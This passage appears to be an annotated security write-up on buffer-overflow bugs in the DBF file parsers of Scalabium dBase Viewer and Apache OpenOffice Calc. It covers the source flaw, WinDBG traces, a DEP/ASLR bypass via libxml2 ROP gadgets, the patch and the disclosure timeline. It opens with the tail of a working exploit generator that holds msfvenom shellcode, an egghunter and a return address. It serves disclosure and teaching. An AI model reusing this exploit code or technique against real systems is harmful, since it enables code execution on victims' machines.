b"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" payload += b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49" payload += b"\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" payload += b"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75" payload += b"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b" payload += b"\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" payload += b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a" payload += b"\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00" payload += b"\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5" payload += b"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" payload += b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a" payload += b"\x00\x53\xff\xd5\x63\x61\x6c\x63\x00"  with open('payload.dbf', 'wb') as w: w.write(payload)

What the script does, in plain words:

  • from struct import pack imports a helper that turns ordinary numbers into the raw byte sequences a file expects.
  • egghunter = b"..." defines a small piece of machine code called an egghunter. Its job is to search memory for a marker (the "egg") and jump to the code that follows it. This is useful when the space available for the first jump is too small to hold the whole attack.
  • The # dbase header section builds the start of the file: \x03 is the dBase version number, \x01\x01\x01 is the last update date, then the number of records, the header length and the record length, followed by reserved zero bytes.
  • The # field definition section describes one field: the name EXPLOIT, the field type 2 (short integer), a null data address, a field size of 255, reserved bytes and a terminator character.
  • The # record definition section is the data itself: a deleted flag, 28 bytes of \x90 (a harmless processor instruction called NOP, used as padding), then JMP 06 (jump forward six bytes), then the address 0x00457886, which is a small sequence of instructions inside dbfview (pop edi; pop esi; ret) used to steer execution, then the egghunter and the egg w00tw00t.
  • The final block is the payload generated with msfvenom, a tool that builds ready-made attack code. The comment shows the command used: msfvenom -p windows/exec CMD=calc -f python -v payload, which produces code that runs calc, the Windows calculator.
  • with open('payload.dbf', 'wb') as w: w.write(payload) writes all of it to a file called payload.dbf in binary mode.

Opening the generated file in dbfview.exe popped Calc.

Proof of Concept for Scalabium dBase Viewer From the original on medium.com

Proof of Concept for Scalabium dBase Viewer

Reading the source code of Apache OpenOffice

The first stage taught a general lesson about the format: the buffer size of a record can be determined either by the fieldLength or by the fieldType in the header. If a programmer blindly trusts one of them when allocating a buffer but uses the other to determine the size of a copy into that buffer, a buffer overflow follows. It is like a form that states both "this box holds 2 items" and "this box holds 255 items"; whichever number the program believes when building the box, and whichever it believes when filling it, the mismatch is the bug.

Since open-source projects such as Apache OpenOffice support DBF files, the researcher reviewed OpenOffice's DBF parsing code and found this:

Text
else if ( DataType::INTEGER == nType ) { sal_Int32 nValue = 0; memcpy(&nValue, pData, nLen); *(_rRow->get())[i] = nValue; }

Line by line:

  • else if ( DataType::INTEGER == nType ) means: if the field being read is of type INTEGER, do the following.
  • sal_Int32 nValue = 0; creates a small buffer called nValue, of type sal_Int32, which is 4 bytes wide, and sets it to zero.
  • memcpy(&nValue, pData, nLen); copies nLen bytes from the file data (pData) into that 4-byte buffer. memcpy is a standard copying function that does exactly what it is told and does not check whether the destination is big enough.
  • *(_rRow->get())[i] = nValue; stores the resulting value in the row being built.

The problem is that nLen is an attacker-controlled value, and nothing checks that it is smaller than or equal to 4. The same pattern was repeated across various data types.

The previous payload generator was modified to use the integer field type (I) and a fieldLength greater than sal_Int32, and the file was opened in OpenOffice Calc. It crashed.

Step 1: Work around the protections

The initial crash resulted in an SEH overwrite, but the SEH chain refused to execute. The soffice binary had Safe Exception Handlers (SAFESEH), address space layout randomization (ASLR) and Data Execution Prevention (DEP), which prevented simple exploitation. In everyday terms:

  • SAFESEH keeps a checked list of legitimate exception handlers, so a forged entry is rejected.
  • ASLR shuffles where things sit in memory each time the program runs, so an attacker cannot hard-code an address.
  • DEP marks memory that should only hold data as non-executable, so injected code cannot simply run from there.

Tracing back from the initial exception, it was triggered by a validation check earlier in the execution flow:

Text
0:000> p eax=08ceacec ebx=0ffe68e8 ecx=08ceacf0 edx=00000001 esi=0ff38d60 edi=084299b9 eip=08c56920 esp=0178dd58 ebp=0178de74 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 dbase+0x16920: 08c56920 e862c6feff call dbase+0x2f87 (08c42f87) 0:000> u dbase+0x2f87 L12 dbase+0x2f87: 08c42f87 55 push ebp 08c42f88 8bec mov ebp,esp 08c42f8a 56 push esi 08c42f8b 8bf1 mov esi,ecx 08c42f8d 8b4610 mov eax,dword ptr [esi+10h] 08c42f90 2b460c sub eax,dword ptr [esi+0Ch] 08c42f93 57 push edi 08c42f94 8b7d08 mov edi,dword ptr [ebp+8] 08c42f97 c1f802 sar eax,2 08c42f9a 3bf8 cmp edi,eax 08c42f9c 7206 jb dbase+0x2fa4 (08c42fa4) 08c42f9e ff1588b0c608 call dword ptr [dbase!GetVersionInfo+0x9176 (08c6b088)] 08c42fa4 8b460c mov eax,dword ptr [esi+0Ch] 08c42fa7 8d04b8 lea eax,[eax+edi*4] 08c42faa 5f pop edi 08c42fab 5e pop esi 08c42fac 5d pop ebp 08c42fad c20400 ret 4

What matters here:

  • p in the debugger means "step one instruction".
  • call dbase+0x2f87 calls a function inside the module called dbase.
  • u dbase+0x2f87 L12 disassembles (shows the instructions of) the next 12 instructions at that address.
  • mov eax,dword ptr [esi+10h] and sub eax,dword ptr [esi+0Ch] work out a size by subtracting one stored value from another.
  • sar eax,2 divides that size by 4, because each element is 4 bytes.
  • cmp edi,eax compares the requested index with the number of elements available.
  • jb dbase+0x2fa4 jumps past the error call if the index is below the limit.
  • call dword ptr [dbase!GetVersionInfo+0x9176 ...] is the error path taken when the check fails.

The exception was triggered if the cmp edi,eax check failed. Dynamic analysis (watching the program run rather than only reading its code) determined the offset in the payload that was being evaluated, and it was set to 00000001 to pass the check. This time a different exception occurred: an invalid instruction exception. That was a good sign that a return pointer on the stack had been overwritten and execution flow could be controlled again, which was confirmed in WinDBG. A return pointer is the address a function jumps back to when it finishes; controlling it means controlling where the program goes next.

Step 2: Find a module without DEP and ASLR

A DEP and ASLR bypass was still needed to start a return-oriented programming chain. Return-oriented programming (ROP) is a technique where, instead of injecting new code, the attacker strings together small existing snippets of the program (called gadgets), each ending in a return instruction, so that the program performs the attacker's wishes using its own code. The protections of the loaded modules were checked with narly:

Text
0:011> !nmod 00110000 00b9c000 soffice /SafeSEH ON /GS *ASLR *DEP C:\Program Files\OpenOffice 4\program\soffice.bin 03e20000 04b67000 icudt40 NO_SEH C:\Program Files\OpenOffice 4\program\icudt40.dll 4de60000 4df58000 libxml2 /SafeSEH ON /GS C:\Program Files\OpenOffice 4\program\libxml2.dll 50040000 50097000 scui /SafeSEH ON /GS *ASLR *DEP C:\Program Files\OpenOffice 4\program\scui.DLL 500a0000 502d3000 sb /SafeSEH ON /GS *ASLR *DEP C:\Program Files\OpenOffice 4\program\sb.dll 50360000 50395000 forui /SafeSEH ON /GS *ASLR *DEP C:\Program Files\OpenOffice 4\program\forui.dll 503a0000 503e1000 uui /SafeSEH ON /GS *ASLR *DEP C:\Program Files\OpenOffice 4\program\uui.dll 50470000 504bf000 ucpfile1 /SafeSEH ON /GS *ASLR *DEP C:\Program Files\OpenOffice 4\program\ucpfile1.dll 504c0000 5053a000 configmgr_uno /SafeSEH ON /GS *ASLR *DEP C:\Program Files\OpenOffice 4\program\configmgr.uno.dll

How to read it:

  • Each line is one loaded module: its start and end address, its name, its protection flags, and its file path.
  • *ASLR and *DEP mean those protections are active for that module.
  • soffice has /SafeSEH ON /GS *ASLR *DEP, so it is well protected. /GS is a compiler feature that places guards around buffers to detect overflows.
  • libxml2 has /SafeSEH ON /GS but no *ASLR and no *DEP, so it is the weak link.

Among the modules, libxml2 was still compiled without DEP or ASLR protections, so it could be used as a source of ROP gadgets.

Step 3: Fit the chain into the buffer

All possible ROP gadgets were dumped with 0vercl0k's rp tool. A problem appeared quickly: no matter how fieldLength was set, the overwritten buffer appeared to be limited to about 256 bytes. That precluded a traditional GetModuleHandleA > GetProcAddress > VirtualProtect chain, so the chain had to be made smaller. Those three functions are the usual steps: find a library in memory, find a function inside it, then mark a memory region as executable so the attack code can run. Each step costs bytes, and there were not enough.

Three optimisations were applied:

  1. The final VirtualProtect skeleton was moved before the ROP chain in the buffer, giving a little more room for the gadgets.
  2. For the stack pivot, a hard-coded add esp, 0x0C ; ret ; gadget was used, so the offset did not have to be created dynamically in the chain. A stack pivot is a gadget that moves the stack pointer to a place the attacker controls, so that the chain of gadgets is read from the attacker's data.
  3. For the proof of concept, WinExec was loaded directly to pop calc, reducing the number of function calls needed. WinExec is a Windows function that runs a program.

With these changes the proof of concept worked:

Proof of Concept for Apache OpenOffice Calc

The root cause

The bug is a classic length mismatch. In the DBF header, the size of a record's buffer can be determined either by fieldLength or by fieldType. The OpenOffice code allocates nValue as a sal_Int32 (4 bytes) for an INTEGER field, but then copies nLen bytes into it, where nLen comes from the attacker-controlled fieldLength, with no check that nLen is at most 4. In the Scalabium case, the application trusted the attacker-controlled fieldLength when copying into a buffer whose size was determined by the attacker-controlled fieldType (the FlagShip 2 short integer type), producing a straightforward overflow with no special character requirements.

On the OpenOffice side, the binary's SAFESEH, ASLR and DEP did not stop the overflow itself; they only made exploitation harder. The bypass came from libxml2, which was still compiled without DEP or ASLR and therefore supplied usable gadgets. The researcher notes that OpenOffice, as an open-source project, would likely have been scanned by static code analysers, which would have easily picked up the unsafe memcpy. Static analysis means examining code without running it, the way a proofreader reads a document looking for mistakes. On lgtm.com, a code analysis platform that runs CodeQL tests on open-source projects, OpenOffice was tagged as a Python and JavaScript project:

LGTM OpenOffice From the original on medium.com

LGTM OpenOffice

Since CodeQL requires the scanner to build a database of the relevant source code, it would have missed these vulnerabilities if OpenOffice's C++ code had been excluded while building the database. Browsing the files on LGTM, the researcher noticed that no C++ files were included. The lesson drawn is to sanity-check automated static analysis tools: if the tools do not know the code exists, they cannot find the vulnerabilities.

Impact

In Scalabium dBase Viewer, opening a crafted DBF file led to code execution, demonstrated by popping Calc. In Apache OpenOffice Calc, opening a crafted DBF file led to code execution as well, in software that the researcher says was downloaded more than 300 million times.

The fix

Scalabium dBase Viewer was acknowledged and patched within two days (CVE-2021-35297). Apache released new packages that patched the vulnerability and updated the source code on GitHub to perform buffer size checking. For example, the integer type now ensures that nLen equals 4:

Text
else if ( DataType::INTEGER == nType ) { OSL_ENSURE(nLen == 4, "Invalid length for integer field"); if (nLen != 4) { return false; } sal_Int32 nValue = 0; memcpy(&nValue, pData, nLen); *(_rRow->get())[i] = nValue; }

What changed:

  • OSL_ENSURE(nLen == 4, "Invalid length for integer field"); records a warning if the length is not 4, which helps developers notice bad files during testing.
  • if (nLen != 4) { return false; } refuses to continue when the length is not exactly 4, so the copy can never overflow the 4-byte buffer.
  • The rest is unchanged: create the 4-byte buffer, copy, store.

Disclosure timeline

The researcher notes that disclosure for native applications runs on a very different cadence from web bug bounties, where patches can be deployed in days or weeks. A bug bounty is a programme where companies pay people for reporting security bugs. Development cycles for widely used native applications can be on the order of months, and in some cases vendors did not have a dedicated security disclosure contact or listed an inactive email.

Scalabium dBase Viewer (CVE-2021-35297)

  • Jun 7: Initial disclosure
  • Jun 9: Acknowledgement and patch
  • Aug 17: CVE assigned

Apache OpenOffice (CVE-2021-33035)

  • 4 May: Initial disclosure
  • 5 May: Acknowledgement
  • 6 May: Request for disclosure/patch timeline
  • 12 May: 2nd request for disclosure/patch timeline
  • 19 May: 3rd request for disclosure/patch timeline
  • 21 May: Apache request for 30 Aug disclosure date and patch verification; CVE assigned
  • 21 May: Verified patch and agreed to 30 Aug disclosure date
  • 22 Jul: Request to re-confirm 30 Aug disclosure date
  • 26 Jul: Apache re-confirmed 30 Aug disclosure date
  • 28 Aug: Notify about 18 Sep full disclosure
  • 18 Sep: Full disclosure

A CVE is a public identifier for a known vulnerability, so that everyone can refer to the same bug unambiguously.

Variants worth testing

  1. Other DBF field types in OpenOffice. The report says the unsafe pattern was repeated across various data types. Try each field type with a fieldLength larger than the destination buffer for that type, and look for a crash in Calc when opening the file.
  2. Other DBF processors. The core mismatch, fieldLength versus fieldType, applies to any program that parses DBF. Feed a file with a small fieldType and a large fieldLength to other viewers and spreadsheet applications; a positive result is a crash whose root cause traces back to the field definition.
  3. FlagShip extension types. The 2 short integer type was undocumented in the main DBF specification but present in the FlagShip extension. Try other extension types from that documentation against DBF parsers; a positive result is a crash or an unexpected code path in the parser.
  4. Modules without DEP and ASLR. On any Windows target, run narly's !nmod against the loaded modules and look for a module with neither *ASLR nor *DEP, as libxml2 was here. A positive result gives a gadget source for a ROP chain even when the main binary is protected.
  5. Static analysis coverage. For an open-source target, check how it is indexed by code analysis platforms. If the project is tagged with the wrong languages and its native code is excluded from the database, the analyser will not have flagged unsafe calls such as the memcpy above.

Glossary

  • ASLR (Address Space Layout Randomization): a Windows protection that places programs and libraries at random memory addresses each run, so an attacker cannot rely on fixed addresses.
  • Blob: a lump of raw bytes with no assumed structure, used in a fuzzing template to let the fuzzer try arbitrary data.
  • Buffer: a fixed-size area of memory set aside to hold data.
  • Buffer overflow: copying more data into a buffer than it can hold, so the extra bytes spill into neighbouring memory.
  • Bug bounty: a programme where organisations pay people for reporting security vulnerabilities.
  • CodeQL: a tool that analyses source code by building a database of it and running queries to find patterns such as unsafe calls.
  • Coverage-guided fuzzing: fuzzing that watches which parts of a program each test file reaches and uses that feedback to generate better test files.
  • CVE: a public identifier assigned to a known vulnerability so everyone can refer to it unambiguously.
  • DBF: the dBase database file format, an old format for storing tables of records.
  • DEP (Data Execution Prevention): a Windows protection that marks memory holding data as non-executable, so injected code cannot run from it.
  • Dumb fuzzing: fuzzing that mutates inputs without using feedback about which code paths they reach.
  • Egghunter: a small piece of machine code that searches memory for a marker (the egg) and jumps to the code that follows it.
  • Exception handler: a function Windows calls when a program hits an error; the list of handlers is stored on the stack.
  • Fuzzer: a program that generates many slightly broken inputs and feeds them to a target to find crashes.
  • Gadget: a short sequence of existing instructions ending in a return, used as a building block in return-oriented programming.
  • Google dork: a search query using special operators to find particular kinds of files or pages on the web.
  • Header: the part of a file that describes its contents, such as record counts and field definitions.
  • Hex editor: a tool that shows and edits a file as raw bytes.
  • Intel PIN: a tool for instrumenting programs, used by Peach in its corpus minimisation.
  • LGTM: a code analysis platform that runs CodeQL tests on open-source projects.
  • Memory corruption: a class of bugs where a program writes to memory it should not, often leading to crashes or code execution.
  • Minimal viable crash: the smallest file that still reproduces a given crash.
  • msfvenom: a tool that generates ready-made attack payloads.
  • narly: a WinDBG add-on that reports which memory protections each loaded module was built with.
  • NOP: a processor instruction that does nothing, often used as padding.
  • Peach Fuzzer: an open-source fuzzer that mutates test cases based on a template called a Pit.
  • Pit: a Peach template describing the structure of a valid input file.
  • Proof of concept (PoC): a demonstration that a vulnerability can actually be triggered, often by running a harmless program such as the calculator.
  • Register: a small storage slot inside the processor, used to hold values and addresses.
  • Return-oriented programming (ROP): building an attack from small existing code snippets (gadgets) that each end in a return instruction.
  • RFC (Request for Comments): a formal document that defines an internet standard or format.
  • SAFESEH (Safe Exception Handlers): a Windows protection that keeps a checked list of legitimate exception handlers.
  • SEH (Structured Exception Handler): Windows' mechanism for dealing with errors, using a list of handlers stored on the stack.
  • SEH overwrite: a bug where an attacker can overwrite the exception handler list, so Windows jumps to an attacker-chosen address when an error occurs.
  • Shapefile: a geographic information system format for maps, which uses DBF files to store attribute data.
  • Stack: a region of memory used for temporary bookkeeping, including return addresses and the exception handler list.
  • Stack pivot: a gadget that moves the stack pointer to memory the attacker controls, so the ROP chain is read from there.
  • Static analysis: examining code without running it, looking for mistakes or dangerous patterns.
  • Triage: sorting and assessing crashes or samples to decide which are interesting.
  • VirtualProtect: a Windows function that changes the permissions of a memory region, often used to make it executable.
  • WinDBG: Microsoft's debugger, used to pause a program and inspect its memory and registers.
  • WinExec: a Windows function that runs a program.

More by Eugene Lim

View all

10 more disclosed reports, best first.

More from Apache

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.